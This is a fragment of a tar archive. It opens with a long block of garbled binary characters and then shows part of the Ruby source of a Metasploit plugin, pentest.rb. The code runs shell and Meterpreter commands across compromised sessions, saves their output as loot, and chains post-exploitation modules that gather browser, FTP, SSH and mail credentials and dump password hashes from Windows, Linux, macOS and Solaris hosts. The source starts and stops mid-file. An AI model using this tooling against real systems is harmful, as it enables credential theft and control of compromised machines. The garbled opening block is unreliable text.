]]] TTT!!! UUU))) III,,, III+++
444LLL eee ```zzz
ttt rrr aaaιttt HHH쮮tttnnn <<< lll UUU$$$ NNN''' JJJ222 DDD444 BBBǴqqq^^^LLLAAA"""
///UUU
nnn YYY ppp jjj ]]]е{{{iiiTTTAAA,,, EEE찰vvvmmm 444 &&&000::: LLL+++ EEE111 ===::: ===@@@ 999Ƿzzzjjj```BBB666%%%
(((ccc {{{
VVV ggg
]]] PPP555
>>>yyymmm --- %%%666FFFXXXgggrrr### BBB666 ;;;<<< 666III 555LLL 222ooo
!!!ppp xxx ``` YYY RRR KKKθzzziiiXXXMMM888'''FFF,,, 444}}}lll ((( !!!AAADDDQQQsss~~~*** 888@@@ 000GGG 000MMM ---WWW )))fff |||
kkk𗗗 777 LLL GGG%%% BBB/// :::???
***lll||| """ %%%333 ...KKK &&&RRR $$$```
%%%ccc !!!kkk
|||퉉 [[[ iii BBB ;;;ɵsssdddQQQ333000!!!
///CCC !!!Ņkkkzzz === &&&RRR \\\ wwwhhhSSSLLL000))) ooo qqq ppp ###)))
NNN OOO 999%%% ///ꖖiiidddKKK222(((
$$$MMM
Ɉjjjxxx ((( {{{CCC WWW aaa
www ~~~
iii &&&333JJJXXXmmm
EEE >>> 222,,, '''DDD
XXX ˊjjjwww {{{--- rrrNNN !!!^^^ sss ttt iii윜 QQQ ###+++:::OOOaaarrr --- 999
%%%ʼrrr^^^PPP333*** ???
kkk
ُeeeyyy""" vvv666 lllWWW п~~~lllZZZGGG222 {{{ mmm bbb襤 SSS GGG $$$ 111$$$ !!!ɴ{{{qqq^^^OOO999$$$
GGG
nnn ***FFFNNNgggvvvےeeexxx--- oooCCC dddeee BBBcccQQQEEE000
www ```
WWW %%%999LLL[[[ddd||| ,,, %%%/// '''
TTT uuu '''000AAATTThhh|||ᖖfffwww888 fffPPP YYYsss
iii SSS III
%%%>>>OOOeeeqqq
===
aaa
(((:::KKK]]]nnnzzz圜hhhuuuBBB ^^^\\\
BBBƯ ^^^ EEE ;;;
"""///IIITTTeeeuuu $$$ KKK mmm qqq%%%<<>>///
||| \\\''' UUU܂kkkzzz999 yyyAAA ###222LLL___LLL SSS ``` rrr
vvv %%%NNN777!!! mmm""" SSS--- MMM݄kkkyyyEEE mmmNNN ***;;;MMM___jjj^^^ ddd vvv {{{ ttt \\\%%%
BBB999
HHHݕjjjvvvMMM dddWWW
...FFFVVVgggsssggg vvv ~~~ xxxȸPPP
mmm XXX000 BBBBBB
%%%777TTTbbbߗkkkuuuYYY
]]]ccc TTTuuu yyy !!!???
bbb&&& LLL999
;;;⛛mmmtttddd
###lllooo zzz lll
XXX--- IIIBBB """;;;LLLaaalll}}}塡pppsssooo !!!UUUTTTccciiiqqqvvv||| mmm ```
PPP666 <<>> ,,,ddd
...===TTTaaauuu|||kkk QQQ EEEԺ,,, ///KKK
%%%jjj 888CCCUUUhhh|||}}}kkk~~~
>>>
999ɷxxxhhhUUUBBB/// 888666 )))TTT %%%qqq%%%777III[[[mmmȁjjj||| :::$$$ ===ɸppp___OOO>>>333 &&&AAA !!!```
===Άjjj{{{ &&&+++ cccnnnTTTAAA888(((
%%%LLL kkk
111HHHVVVnnnyyyԊjjjyyy (((444 WWW qqq
(((222PPPYYYhhh}}}Ÿېjjjwww''' ˸xxxgggMMM555+++&&&111===
aaa
쌌
+++666GGG\\\oooʨuuubbbXXXHHH555"""
VVVߔjjjvvv... aaaXXXJJJ<<< CCC hhh ccc PPPᕕjjjtttyyylllWWW777 TTT }}} $$$555III[[[ggg|||ttt DDD蠠dddssssssaaaRRR@@@111 ``` www (((???MMM```kkk}}} >>>꣣eeesssNNN
kkk ooo
///CCCLLL\\\ppp;uuukkkYYY>>>%%% 777fffrrrPPP www
nnnEEEHHHTTTkkkzzzdz~~~ggg^^^OOO===,,,
zzz 000hhhqqq[[[
~~~
'''666GGGYYY⸸}}}jjjVVVBBB... sss ***jjjooo}}}iii
ppp +++<<>>222!!!eee888 AAAooobbbXXX666WWWIII ```ڄmmmxxxʌxxxϻrrrbbbSSS???,,, NNNCCC ###666JJJ^^^rrrOOO '''UUU XXXݍlllwwwؖ{{{ooo\\\JJJ:::((( OOONNN vvvJJJaaa OOOᕕkkkuuu±xxxhhh444 @@@YYY
%%%aaa
mmm FFF㚚kkkvvvҽwwweeeQQQCCC--- LLL::: :::___ ppp uuu AAA垞kkkuuuɵnnn```III===*** ???CCC '''nnn ~~~
:::覦sssmmmؿfff\\\JJJ888&&& :::JJJ 555www
vvv
888驩tttmmm333 333UUU vvv mmm
'''555FFFWWWcccppp뮮vvvmmmڔ___OOO>>>222### ===UUU
+++``` /// ggg
YYY FFFyyymmmMMM 555SSS ###kkk }}} YYY
SSS JJJ{{{lll}}}ðzzzqqqRRRJJJ111&&&oooRRR
'''ccc yyy +++>>>SSSppp```NNNEEE222 sss LLL YYY''' 666~~~lll|||㏏SSSBBB--- fff``` ###mmm zzz퇇 +++666HHH\\\ooo䚚 XXX @@@紴<<>>***
vvv mmm 333 III ;;; ttt
Ƽ杝eeewww̲rrr```NNNBBB'''
___ +++ 888 EEE www III~~~yyyrrrhhhZZZWWWKKKFFFeee좢fffvvvȷ|||jjj___GGG:::%%% uuu TTT !!! +++
OOO ųwww=== 555gggsssꉉ... nnn NNN !!!
$$$ VVV tttQQQ777444000 222gggrrr||| \\\ 777
vvv''' EEE ppp
yyyWWW &&&gggppp UUU
333
ttt444 LLL xxx
zzz}}}fff]]]===222---yyy]]] $$$gggppp JJJ
+++ |||!!!
((( gggDDD xxxXXX
,,,???SSSfffuuu~~~+++ aaaddd
!!!jjjppp @@@!!! lll111 """+++ rrr/// 777 iiiϽqqq\\\SSSSSS ooofff %%%000IIIYYYggg||| TTTlll nnnppp 999*** --- 444 ggg;;; DDD aaaɼlllYYYLLL@@@/// ___
fffttt ___ FFFsss rrrqqq~~~### ...222 999
@@@ ^^^III RRR +++YYYRRRJJJ<<<+++
nnn
\\\ www### XXX$$$
;;;{{{ lllvvvqqq}}}+++ ###::: EEE JJJ XXXYYY aaa
~~~ RRR jjj*** EEEAAA :::腅 pppκxxxqqq|||111 )))<<>>CCCqqqCCC ===[[[ %%%늊DDD<<>>RRRfffvvv $$$--- 888444 ...KKK +++TTT rrrfff ppp 틋 rrr ### /// GGG%%% 444///<<< '''SSS %%%``` DDDJJJSSSXXXaaaooowwwrrr ||| ~~~ \\\ж}}} 111>>>###777EEEWWWcccxxx--- <<<%%%EEE ]]] lll ccc~~~ zzz숈 sss [[[ǵ~~~qqq\\\SSS@@@...
III ...555 EEE OOO hhh www lll ___ @@@xxxmmmZZZFFF222 <<<%%% [[[:::
LLL WWW ooo }}} zzz ddd
^^^ *** ###555HHHZZZlllwwwGGG xxx___
qqq
$$$---444999DDDMMMWWW555 ~~~
sss ttt PPP LLLζoooZZZUUU[[[ $$$--- %%%888KKKZZZpppNNN
rrriii yyy DDDmmm uuu kkk ^^^
DDD 999ǵ|||jjj___JJJ999""" vvviiipppYYY ^^^xxx
qqq ggg ___ QQQ 555
GGG```VVVEEE222 ggg
___ vvv ppp [[[ RRR EEE '''
%%% vvv
lll hhh ]]] QQQ GGG 444 >>>@@@JJJOOOJJJ___cccuuu~~~ ZZZ
OOO FFF
;;; ---ظ}}}ggg +++ ľ RRR NNN FFF ;;; /// !!!ttthhhVVVGGG000
CCC ʼ ^^^ GGG >>> 333 ''' vvviii___MMM;;;*** $$$ SSS ,,,666VVVXXX OOO
222!!! ---((( $$$$$$ *** ;;; WWW 111CCCSSSeeeyyy FFF))) ...((( )))000 ===--- 222 DDD ggg ''':::MMM^^^iii¾''' ???222 (((222 ccc???999===DDDRRRdddjjj::: ??? ``` ¼111 555::: !!!>>> GGG
KKK ddd ***>>>KKK___ttt999 +++FFF JJJ SSS WWW sss !!!...BBBWWWkkkCCC (((FFF VVV ``` fff $$$888LLL___pppyyyNNN ###̰nnnWWWKKK777''' ``` mmm rrr
qqqLLL;;;PPPaaawwwUUU ï}}}iii[[[GGG999### fff vvv }}} !!!333>>>RRRggg ///EEE555
yyy nnn ''':::GGG[[[mmm|||qqq ~~~ nnn '''999LLL___rrr~~~ ttt XXX!!! ]]]*** 111EEEXXXhhhqqq ggg nnn YYYĿ ZZZ HHHmmmcccoooý MMM$$$ ``` @@@wwwiii 666 (((BBBTTTeeemmm¿### ,,,JJJUUUgggzzz... ,,,666FFFYYYooo999&&&;;;OOOdddyyyžþÿ¿ teamsploit_0~20151123/.msf/plugins/pentest.rb 000644 001750 001750 00000221405 12016301175 021646 0 ustar 00sophie sophie 000000 000000 # Copyright (c) 2012, Carlos Perez "Run a post module against specified sessions.",
'multi_post_rc' => "Run resource file with post modules and options against specified sessions.",
'multi_meter_cmd' => "Run a Meterpreter Console Command against specified sessions.",
'multi_meter_cmd_rc'=> "Run resource file with Meterpreter Console Commands against specified sessions.",
"multi_cmd" => "Run shell command against several sessions",
"sys_creds" => "Run system password collection modules against specified sessions.",
"app_creds" => "Run application password collection modules against specified sessions."
}
end
# Multi shell command
def cmd_multi_cmd(*args)
# Define options
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Comma separated list sessions to run modules against."],
"-c" => [ true, "Shell command to run."],
"-p" => [ true, "Platform to run the command against. If none given it will run against all."],
"-h" => [ false, "Command Help."]
)
# set variables for options
sessions = []
command = ""
plat = ""
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
if val =~ /all/i
sessions = framework.sessions.keys
else
sessions = val.split(",")
end
when "-c"
command = val
when "-p"
plat = val
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
# Make sure that proper values where provided
if not sessions.empty? and not command.empty?
# Iterate thru the session IDs
sessions.each do |s|
# Set the session object
session = framework.sessions[s.to_i]
if session.platform =~ /#{plat}/i || plat.empty?
host = session.tunnel_peer.split(":")[0]
print_line("Running #{command} against session #{s}")
# Run the command
cmd_out = session.shell_command_token(command)
# Print good each line of the command output
if not cmd_out.nil?
cmd_out.each_line do |l|
print_line(l.chomp)
end
file_name = "#{File.join(Msf::Config.loot_directory,"#{Time.now.strftime("%Y%m%d%H%M%S")}_command.txt")}"
framework.db.report_loot({ :host=> host,
:path => file_name,
:ctype => "text/plain",
:ltype => "host.command.shell",
:data => cmd_out,
:name => "#{host}.txt",
:info => "Output of command #{command}" })
else
print_error("No output or error when running the command.")
end
end
end
else
print_error("You must specify both a session and a command.")
print_line(opts.usage)
return
end
end
# browser_creds Command
#-------------------------------------------------------------------------------------------
def cmd_app_creds(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run modules against. Example or <1,2,3,4>"],
"-h" => [ false, "Command Help"]
)
cred_mods = [
{"mod" => "windows/gather/credentials/wsftp_client", "opt" => nil},
{"mod" => "windows/gather/credentials/winscp", "opt" => nil},
{"mod" => "windows/gather/credentials/windows_autologin", "opt" => nil},
{"mod" => "windows/gather/credentials/vnc", "opt" => nil},
{"mod" => "windows/gather/credentials/trillian", "opt" => nil},
{"mod" => "windows/gather/credentials/total_commander", "opt" => nil},
{"mod" => "windows/gather/credentials/smartftp", "opt" => nil},
{"mod" => "windows/gather/credentials/outlook", "opt" => nil},
{"mod" => "windows/gather/credentials/nimbuzz", "opt" => nil},
{"mod" => "windows/gather/credentials/mremote", "opt" => nil},
{"mod" => "windows/gather/credentials/imail", "opt" => nil},
{"mod" => "windows/gather/credentials/idm", "opt" => nil},
{"mod" => "windows/gather/credentials/flashfxp", "opt" => nil},
{"mod" => "windows/gather/credentials/filezilla_server", "opt" => nil},
{"mod" => "windows/gather/credentials/meebo", "opt" => nil},
{"mod" => "windows/gather/credentials/razorsql", "opt" => nil},
{"mod" => "windows/gather/credentials/coreftp", "opt" => nil},
{"mod" => "windows/gather/credentials/imvu", "opt" => nil},
{"mod" => "windows/gather/credentials/epo_sql", "opt" => nil},
{"mod" => "windows/gather/credentials/gpp", "opt" => nil},
{"mod" => "windows/gather/credentials/enum_picasa_pwds", "opt" => nil},
{"mod" => "windows/gather/credentials/tortoisesvn", "opt" => nil},
{"mod" => "windows/gather/credentials/ftpnavigator", "opt" => nil},
{"mod" => "windows/gather/credentials/dyndns", "opt" => nil},
{"mod" => "windows/gather/enum_ie", "opt" => nil},
{"mod" => "multi/gather/ssh_creds", "opt" => nil},
{"mod" => "multi/gather/pidgin_cred", "opt" => nil},
{"mod" => "multi/gather/firefox_creds", "opt" => nil},
{"mod" => "multi/gather/filezilla_client_cred", "opt" => nil},
{"mod" => "multi/gather/fetchmailrc_creds", "opt" => nil},
{"mod" => "multi/gather/thunderbird_creds", "opt" => nil},
{"mod" => "multi/gather/netrc_creds", "opt" => nil},
]
# Parse options
if args.length == 0
print_line(opts.usage)
return
end
sessions = ""
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
sessions = val
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
if not sessions.empty?
cred_mods.each do |p|
m = framework.post.create(p["mod"])
next if m == nil
# Set Sessions to be processed
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
session_list.each do |s|
begin
if m.session_compatible?(s.to_i)
m.datastore['SESSION'] = s.to_i
if p['opt']
opt_pair = p['opt'].split("=",2)
m.datastore[opt_pair[0]] = opt_pair[1]
end
m.options.validate(m.datastore)
print_line("")
print_line("Running #{p['mod']} against #{s}")
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
rescue
print_error("Could not run post module against sessions #{s}.")
end
end
end
else
print_line(opts.usage)
return
end
end
# sys_creds Command
#-------------------------------------------------------------------------------------------
def cmd_sys_creds(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run modules against. Example or <1,2,3,4>"],
"-h" => [ false, "Command Help"]
)
cred_mods = [
{"mod" => "windows/gather/cachedump", "opt" => nil},
{"mod" => "windows/gather/smart_hashdump", "opt" => "GETSYSTEM=true"},
{"mod" => "windows/gather/credentials/gpp", "opt" => nil},
{"mod" => "osx/gather/hashdump", "opt" => nil},
{"mod" => "linux/gather/hashdump", "opt" => nil},
{"mod" => "solaris/gather/hashdump", "opt" => nil},
]
# Parse options
sessions = ""
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
sessions = val
when "-h"
print_line(opts.usage)
return
else
print_line(opts.usage)
return
end
end
if not sessions.empty?
cred_mods.each do |p|
m = framework.post.create(p["mod"])
# Set Sessions to be processed
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
session_list.each do |s|
if m.session_compatible?(s.to_i)
m.datastore['SESSION'] = s.to_i
if p['opt']
opt_pair = p['opt'].split("=",2)
m.datastore[opt_pair[0]] = opt_pair[1]
end
m.options.validate(m.datastore)
print_line("")
print_line("Running #{p['mod']} against #{s}")
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
end
end
else
print_line(opts.usage)
return
end
end
# Multi_post Command
#-------------------------------------------------------------------------------------------
# Function for doing auto complete on module name
def tab_complete_module(str, words)
res = []
framework.modules.module_types.each do |mtyp|
mset = framework.modules.module_names(mtyp)
mset.each do |mref|
res << mtyp + '/' + mref
end
end
return res.sort
end
# Function to do tab complete on modules for multi_post
def cmd_multi_post_tabs(str, words)
tab_complete_module(str, words)
end
# Function for the multi_post command
def cmd_multi_post(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run module against. Example or <1,2,3,4>"],
"-m" => [ true, "Module to run against sessions."],
"-o" => [ true, "Module options."],
"-h" => [ false, "Command Help."]
)
post_mod = ""
mod_opts = nil
sessions = ""
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
sessions = val
when "-m"
post_mod = val.gsub(/^post\//,"")
when "-o"
mod_opts = val
when "-h"
print_line opts.usage
return
else
print_status "Please specify a module to run with the -m option."
return
end
end
# Make sure that proper values where provided
if not sessions.empty? and not post_mod.empty?
# Set and execute post module with options
print_line("Loading #{post_mod}")
m = framework.post.create(post_mod)
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
if session_list
session_list.each do |s|
if m.session_compatible?(s.to_i)
print_line("Running against #{s}")
m.datastore['SESSION'] = s.to_i
if mod_opts
mod_opts.each do |o|
opt_pair = o.split("=",2)
print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
m.datastore[opt_pair[0]] = opt_pair[1]
end
end
m.options.validate(m.datastore)
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
else
print_error("Session #{s} is not compatible with #{post_mod}.")
end
end
else
print_error("No compatible sessions were found.")
end
else
print_error("A session or Post Module where not specified.")
print_line(opts.usage)
return
end
end
# Multi_post_rc Command
#-------------------------------------------------------------------------------------------
def cmd_multi_post_rc_tabs(str, words)
tab_complete_filenames(str, words)
end
def cmd_multi_post_rc(*args)
opts = Rex::Parser::Arguments.new(
"-rc" => [ true, "Resource file with space separate values , per line."],
"-h" => [ false, "Command Help."]
)
post_mod = nil
session_list = nil
mod_opts = nil
entries = []
opts.parse(args) do |opt, idx, val|
case opt
when "-rc"
script = val
if not ::File.exists?(script)
print_error "Resource File does not exists!"
return
else
::File.open(script, "r").each_line do |line|
# Empty line
next if line.strip.length < 1
# Comment
next if line[0,1] == "#"
entries << line.chomp
end
end
when "-h"
print_line opts.usage
return
else
print_line opts.usage
return
end
end
if entries
entries.each do |l|
values = l.split
sessions = values[0]
post_mod = values[1]
if values.length == 3
mod_opts = values[2].split(",")
end
print_line("Loading #{post_mod}")
m= framework.post.create(post_mod.gsub(/^post\//,""))
if sessions =~ /all/i
session_list = m.compatible_sessions
else
session_list = sessions.split(",")
end
session_list.each do |s|
if m.session_compatible?(s.to_i)
print_line("Running Against #{s}")
m.datastore['SESSION'] = s.to_i
if mod_opts
mod_opts.each do |o|
opt_pair = o.split("=",2)
print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
m.datastore[opt_pair[0]] = opt_pair[1]
end
end
m.options.validate(m.datastore)
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
else
print_error("Session #{s} is not compatible with #{post_mod}")
end
end
end
else
print_error("Resource file was empty!")
end
end
# Multi_meter_cmd Command
#-------------------------------------------------------------------------------------------
def cmd_multi_meter_cmd(*args)
opts = Rex::Parser::Arguments.new(
"-s" => [ true, "Sessions to run Meterpreter Console Command against. Example or <1,2,3,4>"],
"-c" => [ true, "Meterpreter Console Command to run against sessions."],
"-h" => [ false, "Command Help."]
)
command = nil
session = nil
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-s"
session = val
when "-c"
command = val
when "-h"
print_line opts.usage
return
else
print_status "Please specify a command to run with the -m option."
return
end
end
current_sessions = framework.sessions.keys.sort
if session =~/all/i
sessions = current_sessions
else
sessions = session.split(",")
end
sessions.each do |s|
# Check if session is in the current session list.
next if not current_sessions.include?(s.to_i)
# Get session object
session = framework.sessions.get(s.to_i)
# Check if session is meterpreter and run command.
if (session.type == "meterpreter")
print_line("Running command #{command} against session #{s}")
session.console.run_single(command)
else
print_line("Session #{s} is not a Meterpreter session!")
end
end
end
# Multi_post_rc Command
#-------------------------------------------------------------------------------------------
def cmd_multi_meter_cmd_rc(*args)
opts = Rex::Parser::Arguments.new(
"-rc" => [ true, "Resource file with space separate values , per line."],
"-h" => [ false, "Command Help"]
)
entries = []
script = nil
opts.parse(args) do |opt, idx, val|
case opt
when "-rc"
script = val
if not ::File.exists?(script)
print_error "Resource File does not exists"
return
else
::File.open(script, "r").each_line do |line|
# Empty line
next if line.strip.length < 1
# Comment
next if line[0,1] == "#"
entries << line.chomp
end
end
when "-h"
print_line opts.usage
return
else
print_line opts.usage
return
end
end
entries.each do |entrie|
session_parm,command = entrie.split(" ", 2)
current_sessions = framework.sessions.keys.sort
if session_parm =~ /all/i
sessions = current_sessions
else
sessions = session_parm.split(",")
end
sessions.each do |s|
# Check if session is in the current session list.
next if not current_sessions.include?(s.to_i)
# Get session object
session = framework.sessions.get(s.to_i)
# Check if session is meterpreter and run command.
if (session.type == "meterpreter")
print_line("Running command #{command} against session #{s}")
session.console.run_single(command)
else
print_line("Session #{s} is not a Meterpreter sessions.")
end
end
end
end
end
# Project handling commands
################################################################################################
class ProjectCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
# Set name for command dispatcher
def name
"Project"
end
# Define Commands
def commands
{
"project" => "Command for managing projects.",
}
end
def cmd_project(*args)
# variable
project_name = ""
create = false
delete = false
history = false
switch = false
archive = false
arch_path = ::File.join(Msf::Config.log_directory,"archives")
# Define options
opts = Rex::Parser::Arguments.new(
"-c" => [ false, "Create a new Metasploit project and sets logging for it."],
"-d" => [ false, "Delete a project created by the plugin."],
"-s" => [ false, "Switch to a project created by the plugin."],
"-a" => [ false, "Export all history and DB and archive it in to a zip file for current project."],
"-p" => [ true, "Path to save archive, if none provide default ~/.msf4/archives will be used."],
"-r" => [ false, "Create time stamped RC files of Meterpreter Sessions and console history for current project."],
"-ph" => [ false, "Generate resource files for sessions and console. Generate time stamped session logs for current project."],
"-l" => [ false, "List projects created by plugin."],
"-h" => [ false, "Command Help"]
)
opts.parse(args) do |opt, idx, val|
case opt
when "-p"
if ::File.directory?(val)
arch_path = val
else
print_error("Path provided for archive does not exists!")
return
end
when "-d"
delete = true
when "-s"
switch = true
when "-a"
archive = true
when "-c"
create = true
when "-r"
make_console_rc
make_sessions_rc
when "-h"
print_line(opts.usage)
return
when "-l"
list
return
when "-ph"
history = true
else
project_name = val.gsub(" ","_").chomp
end
end
if project_name and create
project_create(project_name)
elsif project_name and delete
project_delete(project_name)
elsif project_name and switch
project_switch(project_name)
elsif archive
project_archive(arch_path)
elsif history
project_history
else
list
end
end
def project_delete(project_name)
# Check if project exists
if project_list.include?(project_name)
current_workspace = framework.db.workspace.name
if current_workspace == project_name
driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
end
workspace = framework.db.find_workspace(project_name)
if workspace.default?
workspace.destroy
workspace = framework.db.add_workspace(project_name)
print_line("Deleted and recreated the default workspace")
else
# switch to the default workspace if we're about to delete the current one
framework.db.workspace = framework.db.default_workspace if framework.db.workspace.name == workspace.name
# now destroy the named workspace
workspace.destroy
print_line("Deleted workspace: #{project_name}")
end
project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
::FileUtils.rm_rf(project_path)
print_line("Project folder #{project_path} has been deleted")
else
print_error("Project was not found on list of projects!")
end
return true
end
# Switch to another project created by the plugin
def project_switch(project_name)
# Check if project exists
if project_list.include?(project_name)
print_line("Switching to #{project_name}")
# Disable spooling for current
driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
# Switch workspace
workspace = framework.db.find_workspace(project_name)
framework.db.workspace = workspace
print_line("Workspace: #{workspace.name}")
# Spool
spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
# Start spooling for new workspace
driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
print_line("Spooling to file #{spool_file}...")
print_line("Successfully migrated to #{project_name}")
else
print_error("Project was not found on list of projects!")
end
return true
end
# List current projects created by the plugin
def list
current_workspace = framework.db.workspace.name
print_line("List of projects:")
project_list.each do |p|
if current_workspace == p
print_line("\t* #{p}")
else
print_line("\t#{p}")
end
end
return true
end
# Archive project in to a zip file
def project_archive(archive_path)
# Set variables for options
project_name = framework.db.workspace.name
project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
archive_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.zip"
db_export_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.xml"
db_out = ::File.join(project_path,db_export_name)
format = "xml"
print_line("Exporting DB Workspace #{project_name}")
exporter = Msf::DBManager::Export.new(framework.db.workspace)
exporter.send("to_#{format}_file".intern,db_out) do |mtype, mstatus, mname|
if mtype == :status
if mstatus == "start"
print_line(" >> Starting export of #{mname}")
end
if mstatus == "complete"
print_line(" >> Finished export of #{mname}")
end
end
end
print_line("Finished export of workspace #{framework.db.workspace.name} to #{db_out} [ #{format} ]...")
print_line("Disabling spooling for #{project_name}")
driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
print_line("Spooling disabled for archiving")
archive_full_path = ::File.join(archive_path,archive_name)
make_console_rc
make_sessions_rc
make_sessions_logs
compress(project_path,archive_full_path)
print_line("MD5 for archive is #{digestmd5(archive_full_path)}")
# Spool
spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
print_line("Spooling re-enabled")
# Start spooling for new workspace
driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
print_line("Spooling to file #{spool_file}...")
return true
end
# Export Command History for Sessions and Console
#-------------------------------------------------------------------------------------------
def project_history
make_console_rc
make_sessions_rc
make_sessions_logs
return true
end
# Create a new project Workspace and enable logging
#-------------------------------------------------------------------------------------------
def project_create(project_name)
# Make sure that proper values where provided
spool_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
::FileUtils.mkdir_p(spool_path)
spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
if framework.db and framework.db.active
print_line("Creating DB Workspace named #{project_name}")
workspace = framework.db.add_workspace(project_name)
framework.db.workspace = workspace
print_line("Added workspace: #{workspace.name}")
driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
print_line("Spooling to file #{spool_file}...")
else
print_error("A database most be configured and connected to create a project")
end
return true
end
# Method for creating a console resource file from all commands entered in the console
#-------------------------------------------------------------------------------------------
def make_console_rc
# Set RC file path and file name
rc_file = "#{framework.db.workspace.name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
rc_full_path = ::File.join(consonle_rc_path,rc_file)
# Create folder
::FileUtils.mkdir_p(consonle_rc_path)
con_rc = ""
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info.has_key?(:command) and not e.info.has_key?(:session_type)
con_rc << "# command executed at #{e.created_at}\n"
con_rc << "#{e.info[:command]}\n"
end
end
# Write RC console file
print_line("Writing Console RC file to #{rc_full_path}")
file_write(rc_full_path, con_rc)
print_line("RC file written")
return rc_full_path
end
# Method for creating individual rc files per session using the session uuid
#-------------------------------------------------------------------------------------------
def make_sessions_rc
sessions_uuids = []
sessions_info = []
info = ""
rc_file = ""
rc_file_name = ""
rc_list =[]
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info.has_key?(:command) and e.info[:session_type] =~ /meter/
if e.info[:command] != "load stdapi"
if not sessions_uuids.include?(e.info[:session_uuid])
sessions_uuids << e.info[:session_uuid]
sessions_info << {:uuid => e.info[:session_uuid],
:type => e.info[:session_type],
:id => e.info[:session_id],
:info => e.info[:session_info]}
end
end
end
end
sessions_uuids.each do |su|
sessions_info.each do |i|
if su == i[:uuid]
print_line("Creating RC file for Session #{i[:id]}")
rc_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
i.each do |k,v|
info << "#{k.to_s}: #{v.to_s} "
end
break
end
end
rc_file << "# Info: #{info}\n"
info = ""
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info.has_key?(:command) and e.info.has_key?(:session_uuid)
if e.info[:session_uuid] == su
rc_file << "# command executed at #{e.created_at}\n"
rc_file << "#{e.info[:command]}\n"
end
end
end
# Set RC file path and file name
consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
rc_full_path = ::File.join(consonle_rc_path,rc_file_name)
print_line("Saving RC file to #{rc_full_path}")
file_write(rc_full_path, rc_file)
rc_file = ""
print_line("RC file written")
rc_list << rc_full_path
end
return rc_list
end
# Method for exporting session history with output
#-------------------------------------------------------------------------------------------
def make_sessions_logs
sessions_uuids = []
sessions_info = []
info = ""
hist_file = ""
hist_file_name = ""
log_list = []
# Create list of sessions with base info
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info[:session_type] =~ /shell/ or e.info[:session_type] =~ /meter/
if e.info[:command] != "load stdapi"
if not sessions_uuids.include?(e.info[:session_uuid])
sessions_uuids << e.info[:session_uuid]
sessions_info << {:uuid => e.info[:session_uuid],
:type => e.info[:session_type],
:id => e.info[:session_id],
:info => e.info[:session_info]}
end
end
end
end
sessions_uuids.each do |su|
sessions_info.each do |i|
if su == i[:uuid]
print_line("Exporting Session #{i[:id]} history")
hist_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.log"
i.each do |k,v|
info << "#{k.to_s}: #{v.to_s} "
end
break
end
end
hist_file << "# Info: #{info}\n"
info = ""
framework.db.workspace.events.each do |e|
if not e.info.nil? and e.info.has_key?(:command) or e.info.has_key?(:output)
if e.info[:session_uuid] == su
if e.info.has_key?(:command)
hist_file << "#{e.updated_at}\n"
hist_file << "#{e.info[:command]}\n"
elsif e.info.has_key?(:output)
hist_file << "#{e.updated_at}\n"
hist_file << "#{e.info[:output]}\n"
end
end
end
end
# Set RC file path and file name
session_hist_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
session_hist_fullpath = ::File.join(session_hist_path,hist_file_name)
# Create folder
::FileUtils.mkdir_p(session_hist_path)
print_line("Saving log file to #{session_hist_fullpath}")
file_write(session_hist_fullpath, hist_file)
hist_file = ""
print_line("Log file written")
log_list << session_hist_fullpath
end
return log_list
end
# Compress a given folder given it's path
#-------------------------------------------------------------------------------------------
def compress(path,archive)
require 'zip/zip'
require 'zip/zipfilesystem'
path.sub!(%r[/$],'')
::Zip::ZipFile.open(archive, 'w') do |zipfile|
